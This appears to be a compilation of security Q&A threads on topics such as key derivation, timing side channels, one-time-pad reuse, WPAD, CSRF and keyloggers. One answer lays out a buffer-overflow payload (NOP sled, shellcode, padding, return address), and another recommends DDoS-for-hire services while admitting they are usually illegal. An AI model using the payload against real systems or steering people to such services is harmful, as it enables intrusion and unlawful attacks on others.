Benefit to using PBKDF2 on key generated by RNGCryptoServiceProvider? I have a program that generates a fixed-length 32 byte (256-bit) password using RNGCryptoService provider and then uses Rfc2898DeriveBytes on that password to arrive at an encryption key.

However, to save system resources, I was thinking about just using the original password. Am I right that there is no benefit to using Rfc2898DeriveBytes on the 256-bit password generated by RNGCryptoServiceProvider? 256-bits is the key size for the algorithm (AES-256) so I should be able to use the password unchanged. Is RNG cryptographically secure enough to generate the keys directly?

"PBKDF2" begins by "PB" which means "Password-Based". This is for passwords. A password is not just a sequence of letters; it is a sequence of letters that a human can remember and type. A 256-bit key, generated as keys should be (with a cryptographically strong PRNG), is not a password, even if you encode it as letters.

Another way to say it is that the core of the functionality of PBKDF2 is to cope with the inherent weakness of passwords: since they can be managed by human brains, they are weak and can be brute forced. A proper cryptographic key (like the one you generate with RNGCryptoServiceProvider) does not have this weakness, and thus has no need for PBKDF2.

Now there is a tangential use: PBKDF2 is not only PB, it also is a KDF. It has a configurable output length. As such, if your source key is shorter than what you need, then a KDF, in particular PBKDF2, can be handy to obtain as much key material as you wish. For instance, you have a 256-bit key, but you need to encrypt and to have checked integrity, and for that you would like to have a 256-bit AES key and a 256-bit key for HMAC. To turn a 256-bit master key into 512 bits of key material, you need a KDF. However, PBKDF2, with its password-specific idiosyncrasies (input is letters, not bits; there is a need for a salt), is ill-suited in general for such jobs. SSL/TLS uses for such jobs a custom function (which has been quite thoroughly investigated, since SSL is a high-profile target for cryptographers) which it calls "the PRF".


Why is it wrong to *implement* myself a known, published, widely believed to be secure crypto algorithm? I know the general advice that we should never design¹ a cryptographic algorithm. It has been talked about very extensively on this site and on the websites of professionals of such caliber as Bruce Schneier.

However, the general advice goes further than that: It says that we should not even implement algorithms designed by wiser than us, but rather, stick to well known, well tested implementations made by professionals.

And this is the part that I couldn't find discussed at length. I also made a brief search of Schneier's website, and I couldn't find this assertion there either.

Therefore, why are we categorically advised against implementing crypto algorithms as well? I'd most appreciate an answer with a reference to an acclaimed security expert talking about this.

¹ More precisely, design to our hearts' content; it might be a good learning experience; but please please please please, never use what we designed.

The reason why you want to avoid implementing cryptographic algorithms yourself is because of side-channel attacks.

What is a side-channel?

When you communicate with a server, the content of the messages is the "main" channel of communication. However, there are several other ways for you to get information from your communication partner that doesn't directly involve them telling you something.

These include, but are not limited to:

The time it takes to answer you
The energy the server consumes to process your request
How often the server accesses the cache to respond to you.

What is a side-channel attack?

Simply put, a side-channel attack is any attack on a system involving one of these side-channels. Take the following code as an example:

public bool IsCorrectPasswordForUser(string currentPassword, string inputPassword)
{
    // If both strings don't have the same length, they're not equal.
    if (currentPassword.length != inputPassword.length)
        return false;

    // If the content of the strings differs at any point, stop and return they're not equal.
    for(int i = 0; i < currentPassword.length; i++)
    {
        if (currentPassword[i] != inputPassword[i])
            return false;
    }

    // If the strings were of equal length and never had any differences, they must be equal.
    return true;
}

This code seems functionally correct, and if I didn't make any typos, then it probably does what it's supposed to do. Can you still spot the side-channel attack vector? Here's an example to demonstrate it:

Assume that a user's current password is Bdd3hHzj (8 characters) and an attacker is attempting to crack it. If the attacker inputs a password that is the same length, both the if check and at least one iteration of the for loop will be executed; but should the input password be either shorter or longer than 8 characters, only the if will be executed. The former case is doing more work and thus will take more time to complete than the latter; it is simple to compare the times it takes to check a 1-char, 2-char, 3-char etc. password and note that 8 characters is the only one that is notably different, and hence likely to be the correct length of the password.

With that knowledge, the attacker can refine their inputs. First they try aaaaaaaa through aaaaaaaZ, each of which executes only one iteration of the for loop. But when they come to Baaaaaaa, two iterations of the loop occur, which again takes more time to run than an input starting with any other character. This tells the attacker that the first character of the user's password is the letter B, and they can now repeat this step to determine the remaining characters.

How does this relate to my Crypto code?

Cryptographic code looks very different from "regular" code. When looking at the above example, it doesn't seem wrong in any significant way. As such, when implementing things on your own, it might not be obvious that code which does what it's supposed to do just introduced a serious flaw.

Another problem I can think of is that programmers are not cryptographers. They tend to see the world differently and often make assumptions that can be dangerous. For example, look at the following unit test:

public void TestEncryptDecryptSuccess()
{
    string message = "This is a test";
    KeyPair keys = MyNeatCryptoClass.GenerateKeyPair();

    byte[] cipher = MyNeatCryptoClass.Encrypt(message, keys.Public);
    string decryptedMessage = MyNeatCryptoClass.Decrypt(cipher, keys.Private);

    Assert.Equals(message, decryptedMessage);
}

Can you guess what's wrong? I have to admit, that wasn't a fair question. MyNeatCryptoClass implements RSA and is internally set to use a default exponent of 1 if no exponent is explicitly given.

And yes, RSA will work just fine if you use a public exponent of 1. It just won't really "encrypt" anything, since "x1" is still "x".

You might ask yourself who in their right mind would do that, but there are cases of this actually happening.

Implementation Errors

Another reason why you might go wrong implementing your own Code is implementation errors. As user Bakuridu points out in a comment, bugs in Crypto code are fatal in comparison to other bugs. Here are a few examples:

Heartbleed

Heartbleed is probably one of the most well-known implementation bugs when it comes to cryptography. While not directly involving the implementation of cryptographic code, it nonetheless illustrates how monstrously wrong things can go with a comparatively "small" bug.

While the linked Wikipedia article goes much more in-depth on the issue, I would like to let Randall Munroe explain the issue much more concisely than I ever could:

https://xkcd.com/1354/ - Image Licensed under CC 2.5 BY-NC

Debian Weak PRNG Bug

Back in 2008, there was a bug in Debian which affected the randomness of all further key material used. Bruce Schneier explains the change that the Debian team made and why it was problematic.

The basic gist is that tools checking for possible problems in C code complained about the use of uninitialized variables. While ususally this is a problem, seeding a PRNG with essentially random data is not bad. However, since nobody likes staring at warnings and being trained to ignore warnings can lead to its own problems down the line, the "offending" code was removed at some point, thus leading to less entropy for OpenSSL to work with.

Summary

In summary, don't implement your own Crypto unless it's designed to be a learning experience! Use a vetted cryptographic library designed to make it easy to do it right and hard to do it wrong. Because Crypto is very easy to do wrong.


PTES: Differences between Internet Footprint, OSINT and footprinting I'm trying to understand what the differences are between an Internet Footprint, OSINT and footprinting. I'm reading the pentest-standard and they seem the same.

If I understand the PTES correctly, OSINT occurs in the process first, including the element Internet Footprint, and finally Footprinting.

This document correlates tools to those processes -- http://www.nothink.org/metasploit/documentation/metasploit_msf_analysis_ptes.pdf -- pages 5 to the mid-bottom of page 10 are OSINT, bottom half of page 9 to the same (mid-page 10) are Internet Footprint, while Footprinting is bottom of page 10 to page 15.


Smart Card for RSA private key for SSL? I have a YubiKey NEO which has a lot of amazing capabilities such as OTP, U2F, and PGP smart card for PGP/GPG and even SSH keys. One of the applications I've discovered recently for the device is a PIV applet which you can use to securely store a SSL certificate's private RSA key.

I find this pretty fascinating, as it makes it much more difficult without physical access to steal a SSL certificate.

Is it possible to use a smart card like this for a SSL server's private key? I've never seen configuration in Apache or nginx which would seem to indicate support for anything other than file-based SSL private keys.

Also, the demo given for the PIV applet shows how to create a local file-based private key and then send it to the smart card; is there a way to create the key securely on the card, so that it is never stored anywhere? I know I could just store it in a RAM disk/filesystem so that it's never written to disk, but is there a way to generate it on-device as is possible using OpenPGP for PGP keys?

I've never seen configuration in Apache or nginx which would seem to
  indicate support for anything other than file-based SSL private keys.

You are using the Yubikey as a Hardware Security Module (HSM). They key is stored on and never leaves the HSM and all encryption and decryption is done on the HSM. The Yubikey seems to fulfill such the requirements.

You might need to write your own PKCS#11 driver since there isn't one out there. For the server side, you would have to use mod_nss instead of mod_ssl. mod_nss allows you to use a custom PKCS#11 driver whereas mod_ssl uses the default openssl engine.

Compared with other purpose built HSMs, I am unsure of the stability of using the Yubikey as a HSM. This is because the main use case of a yubikey is for applications which require one-time access, e.g. authentication, encrypting an email and not for applications which require continuous access. A server under load might overwhelm the Yubikey and result in sluggish performance.


Prevent Arp Cache Attack Don't know that Am I really under this attack or not,
eSet (ESS 5.0) several times is reporting this to me.

What I should mention are :

Here are using a Wireless point-to-point to get Internet to our
tower, Then with a DSLAM the internet is provided to our room.
Some times I'm using a VPN, Don't know could the providers Do attacks or not.
The reported IPs I saw 192.168.1.1 and 192.168.1.4
There are 2-3 home devices Using this wireless internet and PC using it from a LAN
There is a wireless printer which is one of the things I have doubt causes the problem.
Here the room is using a TP-Link 8901G ( Whireless ADSL 2+ Router, Modem & Accesspoint )

Q) Am I under attack or this could be just some IP conflicts ?
   If so How to Prevent or resolve this issue ?

* Which logs is needed tell me to upload and provide a link

I found it difficult to understand the exact architecture of your network, so im trying to give somewhat a generic answer for your problem:

To make sure if you are being attacked or not, run the arp -a command from one of your computers while ESET alarms you.
This command will dump all the ARP records of the computer to the screen. Check against the other machines if their MAC addresses are correct (specially against the router, or the other computer in the ptp connection). Do this in windows using the command ipconfig /all and in *nix systems using the command ifconfig. If so, there is no risk of ARP spoofing attack, or ESET succeeded in stopping it.

If you want to understand the source of ESETs notification try running Wireshark and write arp in the filter box at the top. Show the result to any IT pro and ask him if he/she find it suspicious or not, they should know...


How to securely erase JavaScript parameters after use? When I pass a password as a parameter to a function, I presume it will end up on a stack or heap.

When this function returns I'd expect that my password is still in memory somewhere until it is garbage collected and hopefully wiped before being freed.

What can developers do to securely wipe such parameters as soon as they are no longer needed or when function returns?

Does assigning "some string" or {dumb: "object"} to a parameter achieve this?

Your suggesting, to overwrite by assigning a new value to the variable, will not work (at least not on any JS implementations in use in common browsers). JavaScript strings are immutable, meaning that when you assign a new value to a string variable, a new string is created somewhere on the heap. It does not overwrite the old one. Wrapping it in an object, such as in your second example, does not change this.

The garbage collector in JavaScript is abstracted away, and there is no API for you to interact with it. So you can not directly control what it does or tell it to delete a value from memory at once.

There might be some kind of clever trick/ugly hack that you can try to influence the behaviour of the GC, but I doubt it will be worth the effort. I'd recommend you to think about what threat you are trying to defend against, and consider if it's really a problem for you that the password remains in memory.

Edit: As dandavis correctly highlight in comments, there are JavaScript types that can be overwritten, e.g. typed arrays. However, you still need to get the sensitive data into one of those without it every being stored in an "ordinary" variable. If you just copy it from input.value you have gained nothing. I don't know how to do that, and honestly, I would not bother trying.


Hiding the identitiy of an author I would like to share some sensitive information in a PDF document that I created, but I'm afraid that my identity can be traced back.
I installed a trial Microsoft Word on a Windows 7 (guest OS on VirtualBox, without any personal data) and after creating the document, I saved it as a PDF.

Is there any way to trace back my identity? Do I need to worry or do some further steps?

It may be possible to trace your identity, yes, or at least to detect sensitive information (such as user name, computer host name, or timezone, which may pass through from the host to the virtual guest, depending on settings). Instead, you should use a tool designed for the job, like the live bootable Tails operating system. It is designed to leave no trace on the computer it runs on and will not insert anything sensitive into documents that you do not explicitly want to include. It additionally uses the Tor anonymity network, negating the risk of leaking your IP address when you distribute the document.


WPAD name collision attack victim: possible information leak This is a home network: a wireless Linksys router serving around 5 wireless devices and 3 wired ones, two PCs and a PS4.

The router is setup to serve DHCP to client devices. It has a setting to change the DNS domain of the network, but it comes set by default to "domain.name" from the factory. This was never changed.

From a few days ago, one of the wired PCs (running Windows 10) had been showing internet issues: slow connection, buffering in videos, and sometimes straight out 404's on every page. Internet Explorer was for some reason setup to detect proxy settings automatically (I don't know if that is the default configuration, but I seriously hope it's not). Disabling that fixed the issue.

However, during the investigation, the browser showed a "Proxy is not responding" page, which surprised me. It stated that the proxy, at a specific IP, was not responding. I then proceeded to go to http://wpad/wpad.dat with the browser and sure enough, a DAT file was downloaded, which seemed to provide two proxy servers: one in Madrid and another one in the US.

Remember that the router is providing "domain.name" as the DNS domain? It turns out that someone must have set up something that serves that DAT file for WPAD in that domain (you can probably get that file right now, I won't provide a link just in case but you can probably figure out the URL). My guess is that those proxies stopped working, and thus the PC started to show those issues.

Needless to say, I changed the domain name in the router immediately.

My main concern right now is multifold:

Is there a high risk of sensible data leak? I'm talking about banking stuff (which should have gone through HTTPS so I think it won't be affected). I don't know for how long the PC in question was compromised.
Should I consider formatting the PCs, or nuking the whole network?
Could the non-Windows machines (the PS4, android devices, a Macbook Pro) have been compromised?

Assume everything could have been compromised, then balance the effort of nuking everything vs. risk of rootkit/continued data interception. (and the the value of keeping that data confidential)

HTTPS can be defeated easily by SSLstrip - the proxies could have never offered you a HTTPS session, so unless you pay attention to which parts of your bank webpage should be encrypted, and check that they are, you could have sent your bank data in cleartext.

Any system that downloads and installs software (without enforcing the installer having trusted digital signature, specific to the software vendor)  could have been affected;  ie. a virus posing as a software update automatically gets run as system/root to install.

Any username/password you use to log into your system could also have been requested by the proxy.


How can I test a DoS attack against snort? I need to set up an scenario where an attacker DoS attacks port 80 of an server while snort and others users try to connect to port 80 at the same time.
Something like this:

1000 connections to port 80
800 analyzed by Snort
750 detected like DoS attack by Snort

How can I get these values? What tools I need besides snort?

There are many cheap stress-testing services that offer a variety of attack vectors to attack with.

Once you purchase a membership, you simply login to their website and input your site's URL/IP address and chose an attack method (UDP, SYN, HTTP, ect)

Note that these services are usually illegally ran by teenagers trying to make a couple bucks.

Nonetheless, these services are great for testing your website with different attack methods and good for testing the strength of your DDOS protection/firewall.


Can I determine if my computer has a key logger installed? A friend of mine just started a job at a security sensitive company. They've provided him with a laptop with Windows XP Professional installed. He's heard a rumor from other employees that the laptops may have key loggers installed. Is there any way for him to confirm or disprove this allegation? Will this be as simple as looking at the process tree or registry, or do these kinds of key loggers hide themselves better than that?

He does have administrator rights.

This would greatly depend on the implementation of the keylogger.  Some enterprise-level products do include rootkits which make the keylogger nearly impossible to detect, unless you know the product in use and its configuration.  For an example, check out Spector Pro*.  Also, as syneticon-dj notes, it's possible they may instead be using a hardware keylogger which could be implemented in a way that cannot be easily detected by software.

If they've given your friend full admin rights on the box, they're either really confident in their monitoring and configuration control capabilities or they're fairly ignorant to the implications of giving such privileges to an end-user.  Often times, it's the latter.  But, if you presume the former to be the case, then you should also presume there's some solid justification for their confidence.

Regardless, it's very likely that your friend has already signed (and thereby agreed to) an Acceptable Use Policy which includes a clause that relinquishes all rights to privacy on company-owned equipment.  Further, any company worried about compliance in these matters will also have a Warning Banner on the system which reminds users at each log-in that they may be subject to monitoring on those systems.

Bottom line:  Don't do anything on company equipment that you don't want them to see.  Always presume that they are logging keystrokes, capturing screenshots (another common spyware feature), and monitoring network traffic with the possible inclusion of an SSL proxy.  Keep business on business hardware, and personal stuff on personal hardware, and you should be fine.

 * Note: This is not an endorsement of Spector Pro.  I have no affiliations with the company, nor have I used their product.  This is simply given as an example of what sort of spyware tools are available to corporations.


What to do about websites that store plain text passwords I recently received an email from a popular graduate job website (prospects.ac.uk) that I haven't used in a while suggesting I use a new feature. It contained both my username and password in plain text. I presume this means that they have stored my password in plain text.

Is there anything that I can do to either improve their security or completely remove my details from their system?

UPDATE: Thanks to everyone for the advice. I emailed them, spelling out what was wrong and why, saying that I will be writing to the DP commissioner and will be adding them to plaintextoffenders.com.

I got a response an hour later: an automated message containing a username and password for their support system. Oh dear...

There isn't really much you can do, other than contact the website and try and explain them how bad of an idea and practice it is to store (and email) passwords in plain text.

One thing you can do is report any offending site to plaintextoffenders.com - a site (currently a tumblr blog, but we're working on a proper site soon) which lists different "plain text offenders" - sites that email you your own password, thus exposing the fact they either store it in plain text, or using a reversible encryption, which is just as bad.

With everything that's happened with Sony, again and again, people become more aware to the dangers of sites storing sensitive details unencrypted, yet many still aren't. There are over 300 sites reported, with more reports coming every day!

Hopefully, plaintextoffenders.com helps by exposing more and more sites. Once this gets enough attention on twitter or other social media, sometimes sites change their way, and fix the problem! For example, Smashing Magazine and Pingdom have recently changed the way they deal with passwords, and no longer store nor email the passwords in plain text!

The problem is awareness, and I hope that we help the cause with plaintextoffenders.


Do keyservers keep logs of who adds whom to their keyrings? Maybe it depends on the keyserver. Does that pose privacy issues?

You cannot tell whether the keyserver operator logs access to his keyserver or not. Most common keyserver software is open source and can easily be changed (if logging features aren't built-in anyway).

However, it is not possible to trace which key ID / user interacted with the keyserver (the clients do not authenticate in any fashion), but keyserver operators could log their user's IP addresses.


How do I organize my input for a buffer overflow? I have a 32 bit linux binary that is susceptible to a buffer overflow. I figured out I need to input 1040 bytes before I can control the EIP register.

I have a shellcode size of 28 bytes. How do I arrange this input to fill the buffer, insert my shellcode, and set EIP to the address of the first byte of shellcode?

I tried inserting the shellcode at 1040-28 bytes, then the address, but that did not work.

The goal here is to make eip point to your shellcode. There are many ways to do that. The first thing would be to check if your shellcode is placed in a register. If that happens then you can perform a ret2reg (return to register) by finding a gadget that will let you return to that register (like call reg etc...). Another way would be to use a nopsled - but that is not that stable. In that case your payload could be like:

nops + shellcode + (1040 -len(nops+shellcode))*"A" + pack32(a_nop_address)

Have in mind though, that the "a_nop_address" from the above payload changes inside gdb and will not be stable in case aslr is enabled.  All the above ways assume that your stack is executable of course. Another way is also to use a shell variable that will contain your shellcode and then make eip point to that address. Finally, there are also more advanced methods, like ret2libc, ret2plt, ROP etc..., that do not even use a shellcode to pop a shell and can also help to bypass some security mitigations like aslr and non-executable stack.


Updating a one time pad using one time pad encryption This is an absolute noob question - so please be gentle with me! I see that similar questions have been asked - but I think mine is different!

Apart from being wasteful on storage space, what is the weakness in the following simple encryption scheme? Assume truly random means from a natural source - such as cosmic microwave background...

Use an initial one time pad created from a truly random source which is at least twice the length of any conceivable message that could be sent. Compose messages with two equal sized parts: 1) The plain text message. 2) An update to the OTP composed of truly random data. Both parts encrypted against the original OTP. When a message is received the first half is decrypted against the OTP to reveal the plain text. Then the second half is decrypted to reveal the update OTP. Replace the initial OTP with the update OTP.

It seems to me that the strength of the OTP is preserved isn't it?

No part of the OPT gets used twice against plain text - it is immediately replaced by random data. The parts of the OTP that do get reused are used against random data. Assuming the update is truly random this couldn't be used to deduce the OTP and therefore also the update, could it?

Example encryption:

Bob and Alice both store initial key 9462367503982349.
Alice encrypts her message "FLEE!","66676" using part of key 9462367503 and sends it to Bob.
Alice changes the part of her pad used to encrypt "FLEE!" using "66676"
Bob receives and decrypts back to "FLEE!","66676".
Bob has received the message which is "FLEE!"
Bob changes the part of his pad used to encrypt "FLEE!" using "66676"
Both Alice's and Bob's pad is now 6667667503982349
Bob encrypts a reply "THANKYOU", "73613451" using part of pad 6667667503982349
Bob changes his pad so it reads 7361346103982349
Alice receives and decrypts back to "THANKYOU", "73613451"
Alice changes her pad so it reads 7361346103982349

In all cases a part of the pad is only used once to encrypt a plain text message and then it gets a replacement part. Parts of the pad are used multiple times to encrypt random data - but that doesn't matter because it doesn't reveal anything about the pad. If Eve intercepts a message the plain text part has been encrypted against a part of the pad that has only ever been used once. She would have to crack the encryption used on the random update part of the message to gain any information. The problem for Eve is that there are no clues because its a random pad encrypting random data. Every time Eve intercepts a message its been encrypted using a changed pad.

List item

Any re-use of the OTP is fatal. What you are proposing is effectively a "two-time pad" which for sure does not have the same security properties.

Attempting to model your cipher in a particular setting:

  Given plaintexts Pi of k bits and an initial key K0 of 2k bits:
  K0 = K0a K0b

  The corresponding ciphertext is the concatenation of the encryption of the Pi and the "update OTP" K1a:
  C0 = C0a C0b
  C0a = K0a ⊕ P0
  C0b = K0b ⊕ K1a

  The key is updated to:
  K1 = K1a K0b

  In the next round we have:
  C1 = C1a C1b
  C1a = K1a ⊕ P1
  C1b = K0b ⊕ K2a

  Note the re-use of K0b. The key is updated to:
  K2 = K2a K0b

  In the next round we have:
  C2 = C2a C2b
  C2a = K2a ⊕ P2
  C2b = K0b ⊕ K3a

  Now we can recover:

  (C0b ⊕ C1b) ⊕ C1a
  = (K0b ⊕ K1a) ⊕ (K0b ⊕ K2a) ⊕ (K1a ⊕ P1)
  = (K1a ⊕ K2a) ⊕ (K1a ⊕ P1)
  = K2a ⊕ P1

Your cipher already fails a chosen-plaintext attack. As you can see above, one can recover the decryption key K2a if you know P1. This allows you to recover P2.

This shows why your cipher is broken.


If a user changes password should it make all API keys invalid? When a user changes their password this will force all users who is logged in on the website via cookies to be forced to login again. However, there is a mobile application that logs in the user via API key. The API key also retrieves the user's data. This isn't effected by changing passwords. The user is still able to delete the API key in their settings to prevent the user from accessing any more data on the mobile application. Should changing passwords make all API keys invalidated as well?

I'm going with no, with the caveat that the user should be prompted to reset their API key immediately after changing their password. This is more of a UX/security balance issue than a technical one.

Usually an API token will be installed into a script somewhere, probably not accessible in the moment. Depending on what your data is on the site, it might even be so important that missing API access could cause some major issues. To top it off, the user might not even be changing their passwords due to a suspected compromise but simply standard rotation. I change my passwords regularly but I don't rotate my API keys because they don't sit on mobile devices which can be compromised far easier than my locked down server.

For all of these reasons, I don't think a mandatory key reset is reasonable. If the data is very secret (PII, money, etc) then you could get away with demanding they reset their key to finish but really with anything else I don't think it's worth the user pain.


How to secure an OpenSSH server on Windows Subsystem for Linux (WSL)? What are the basic security actions I should take when securing an OpenSSH server on Windows Subsystem for Linux (WSL), especially when I am the only one that should login to this server, but can't use an IP whitelist (from various reasons)?

Also, my main concern is brute force attacks because my WSL environment is super minimal and generally has no utilities installed besides what's native and whether I use a password or some key pair, I still want to have this mechanism that after X amount of false logins, holds the user for Y amount of time and says:

  Too much wrong connection tries, you can try again in 24 hours.

While I don't know the name for such mechanism, I could have one via installing CSF-LFD, but you can't install it in WSL for now as the WSL beta version doesn't include the relevant shell services required by CSF-LFD, as you could read in this discussion. so I need to find an alternative that will let me to have this mechanism which it is very important for me to have, again, whether I use a password or a key pair.

Preventing brute force attacks on a SSH server is quite simple.
You just have to enable Public key authentication, then disable login / password authentication. (proceed in this order)

Before following a setup guide, i recommend you to study Public key authentication mechanism, then asymmetric cryptography .

Setting up a technology you know nothing about might lead to chaos and misconfiguration, especially in the authentication field.

There is tons of setup guide on the internet, try the following keywords on google:

wsl openssh server public key auth


Knowing when a hacked password is correct I was recently a victim of the any van data breach and so I started read up on password encryption and security - it is pretty amazing stuff. One thing that confuses me though is, since GPUs can now be used to guess passwords thousands of time per second, even salted password have become vulnerable. So how does a hacker or his/her computer know when the guess is correct? Surely a website would not allow thousands of incorrect tries.

There are two types of password cracking attacks: online and offline.
In an online attack, an attacker repeatedly tries logging in to the website, just like you would do when entering your username and password. The website can block the account after a certain number of incorrect attacks. The speed at which this happens is typically limited by the speed of the web application, so this is tens to hundreds of attempts per second.
In an offline attack, the attacker has somehow downloaded the database with password hashes to his own computer. To recover the plaintext password, they brute-forces the hash. They hash passwords and checks whether these matches the one in the database. This runs on the attacker's computer and the website is not involved in this process. This is the process in which a GPU may make things faster. However, this needs a vulnerability or leak that exposed the database with password hashes.


Is encryption of Onion Proxy possible? I wanted to know that if we are using onion routing in P2P networks, and when the data comes from the provider to onion proxy(proxy connected with requester), the data is not any more encrypted, meaning after removal of its encryption layer, Onion Proxy sends the plain text to requester. Is there a way to solve that message from provider to requester remains hidden from Onion Proxy?
Regards

Tor and similar anonymity networks work by reducing or removing the correlation between the requester's address, the server's address, and the content. So, in the case of Tor at least, an encrypted chain of nodes is created such that each node can only decrypt one layer of crypto.

The first node knows the source IP and the second node IP.
The second node knows the first node IP and the third node (exit node) IP.
The third node (exit node) knows the second node IP, the target server IP, and the content.
The target server knows the exit node IP and the content.

There are two ways to mitigate the plaintext content issue. The first is to provide a server that operates entirely within the network, which in Tor is a hidden service. This allows the target server to be a Tor node too, so that all content is encrypted during transport. This also makes route correlation attacks more difficult, since the nodes in the chain can't tell if they're talking to another proxy node or the real target.

The second option is to use HTTPS on the server, so that all traffic between the exit node and the target server is encrypted. This provides similar content security to normal web browsing, with the added anonymity benefits. The downside of this technique is that a compromised exit node might use a tool such as sslstrip or sslsniff to man-in-the-middle the connection and interfere with the content. There are many ways to protect against this, but one of the best is to use HSTS alongside a proper CA-issued SSL certificate instead of a self-signed one.


Using multiple hash-functions along the line I was wondering what the effect on strength/security is If I would use an aggregate of multiple hash-functions.

For instance, I don't want to sent passwords in plain text (although it's over an SSL-connection) down the wire. So I hash the password client-side with javascript:

  js > hash = sha256(Password+Username);

This hash is transported over the internet to my server where it's salted and hashed again with

  php > $hash = hash('sha256', $_POST['hash'].$user['salt']);

This hash is then compared to the value stored in the database.

Does this compromise the strength of the hash? And if so, is it better to just sent the password in plain text over the internet (Off course using ssl)

Short: There is not much security improvement for hashing again. But hash is better than plaintext (does not directly leak password).

The second hash is apparently intended to protect against retrieving passwords in case the database gets compromised? In this scenario, the protection is only as good as how hard it is to resolve input $_POST['hash'] to hash operation. This input is not sufficiently unpredictable, at least not when weak keys are used.

There are some suggestions you could try to make things stronger.

Password-based key derivation

Usual hashing is not recommended way to deal with passwords. This is because at least fraction of users always tend to have very weak passwords. Weak password is always weak, but there are better ways than usual hash to work with passwords. scrypt paper illustrates the efficiency of different PBKDF's (and some hashes) against brute-forcing passwords of varying entropy levels.

If you want to protect the password+username better, do not use use sha256, but password-based key derivation function (also known as slow hash or password hash - some of these actually use sha256 under the hood; search scrypt, bcrypt, PBKDF2 for details).
The combination of Password+Username is (often) vulnerable to brute force guessing as well as rainbow tables. (In case you expect that the SSL connection does not sufficiently protect the credentials.)

BTW, if you calculate the password hash on client side, it may be possible to remove need for server side ever to know the password. This way, the possibility of the website leaking the password is significantly diminished.

If the user uses the same or similar password on other sites, the result is not usable for these purposes.

Using same authentication info each time

I understood that the user authenticates with

  js > hash = sha256(Password+Username);

always. Right? This has possibility for replaying the credentials later. (Note: In many cases SSL prevents record&replay, but fact that CAs have been occasionally broken, makes it not always foolproof.)

To remove this replay possibility, you could do as follows:
If the server knows their password's derived version (either PBKDF result or above hash [i.e. it is stored on server when they are first authenticated]), instead of ever sending the value again, it could be used challenge-response protocol.

Some more complex challenge-response protocols, such as SRP are based on "zero-knowledge", and provide nice provable security concepts. Even fairly simple challenge-response protocols can preclude need to send the password or password-derived value directly, but just has client sending something that'll convince the server, but not allowing a replay.

Read more

There is a related question on crypto.SE: Is using slow password hashing on the client side easier attackable than on the server side? where Paŭlo Ebermann suggested client-based PBKDF and the best answer by Thomas Pornin also suggests to apply PAKE (SRP).


Avoiding HIPAA, part 2 I'm building a new website, that may be subject to HIPAA. But I won't normally need access to the data. If I encrypt, or somehow encode, the personally identifiable parts, so only the user can decrypt or decode them, would HIPAA still apply?

This is related to my other question about avoiding HIPAA.

edit: I should add that my original idea was to have each user store their own data, since I don't have any need for it. The only reason I'm considering storing it for them, is so they can easily access it from anywhere.

I'm pretty confident that the simple answer is 'no'.  Encrypting data is a way to protect it from exposure, but that does not change the definition of scope.

Consider that if the user can decrypt it, than actually your application can decrypt it and, at least in principle, an attacker could subvert the system to display/decrypt information to which they should not have access.  Another way of looking at this is that saying "Only the user can..." is not defensible.  The user can do nothing that is not facilitated by your software on your computers.  You always have the risk that the system will be hacked in some way that allows a third-party access to the decryption keys.  If you are holding data in scope for HIPAA, encrypting it does not remove it from scope.


Custom fixed header + cookies: am I protected against CSRF? I have REST APIs which are behind a webserver, then there is a custom single page application frontend hosted on it (React).
It goes like that:

The user logs to the index page, if the session cookie is not present they gets redirected towards the login page
The user logs and gets redirected to the index: all the requests will have this session cookie
The custom frontend sends, along to every request, some custom header, say "X-FRONTEND: <app name>"
The webserver will block each request not having the session cookie
The APIs will block each request not having neither the cookie and the (fixed) header
The server has CORS configurations so that accepts only requests coming from the same domain

I tried hypothesizing a couple of scenarios:

GET call hidden in a page. It will get blocked as the requests will not have the custom header
GET/<other method> call with the custom header hidden in page. It will get blocked as requires CORS to be performed as you'll go in JavaScript

What do you think about it?

Any request that is made cross origin, cannot set a non-standard header. Unless you allow it using Cross-Origin Resource Sharing. This technique only works for javascript requests, not for requests that for example come from submitting a form. For the javascript case this technique is recommended by OWASP in the  Cross-Site Request Forgery Prevention Cheat Sheet.
However, one issue that might come into play:
If there is any action that is immediately executed on your page through javascript when you visit it: This action will be executed when the user opens a link to your page.
As this action is executed on your page, the context is not cross-origin and the javascript call will add the header you defined. So make sure something like this does not happen.


2FA with blower.io SMS I'm currently planning to deploy a project on Heroku and was wondering if it is safe to send 2FA sms messages with the blower.io heroku addon?
Also is it safe/ok to send a short lived authentication code by sms or is there any way to send secure SMS messages?

Very good explanation why sms 2FA is bad idea: https://blog.sucuri.net/2020/01/why-2fa-sms-is-a-bad-idea.html
I recommend to use Google Authenticator because it works offline without network.


As a beginner in IT Security, should I learn TCP/IP? I'm a university lecturer and a web and desktop software developer. For many reasons I want to learn software security to change my field in the long run. It's been a few days that I've started studying tcp/ip as my first step in this still self-learning process.

I thought it's better to share my efforts with the community to get as much as I can from experienced experts. I appreciate any guideline and etc which you will share.

Do you think I'm on the right track? Do you think it's a must to learn tcp/ip very deep?

IT in general, IT security in particular, is an area where you should always learn. When you do not want to learn any further, then it is time to retire. Therefore, you should already be eager to learn TCP/IP, and your question should be: "do I learn TCP/IP first, or is there something more urgent ?"

Knowing the internals of TCP/IP is an invaluable tool for understanding what is going on; it is very enlightening. I warmly recommend that you study it. Similarly, I recommend some knowledge of assembly, possibly electronics. Grasping the internal structure of protocols and languages and architectures allows you to keep track of the ever changing field of IT security with much less effort than simply looking at the surface of things.

(For instance, in my everyday work, knowing how SSL works turns out to be extremely useful, on a daily basis.)


Bridged routers security I am trying to secure my network from some infected computers(the owners dont seem to understand what security means) So I have a second router to make a bridge. What would be the best approach at isolating the network?:

router(infected comps)>router(good comps)>internet

or

router(good comps)>router(inected comps)>internet

I am more looking into preventing sniffing and MITM but pretty much any attack that can come from this situation.

The key would be to firewall off the infected computers from the good computer, so if your routers provide firewall capabilities, I'd recommend that you ensure that traffic can't go from "good LAN" to "bad LAN" and vice versa. Also ensure that the router management interfaces are only available on the "good LAN".

If you think about it, in principle you're just treating the "bad LAN" like the Internet (e.g. a network that you don't trust). so if you have your second option there, just make sure that any traffic leaving "good LAN" is encrypted and that there's no management interfaces visible on the "bad LAN" side of the router separating them.


How to determine how entropy changes when using uppercase, numbers and special characters in a dictionary based passphrase? I know the general math behind using character-based and dictionary-based passwords/passphrases and how to determine the entropy of the result. But I am unclear how adding uppercase letters, numbers and other characters or words to a dictionary-based passphrase changes the entropy.

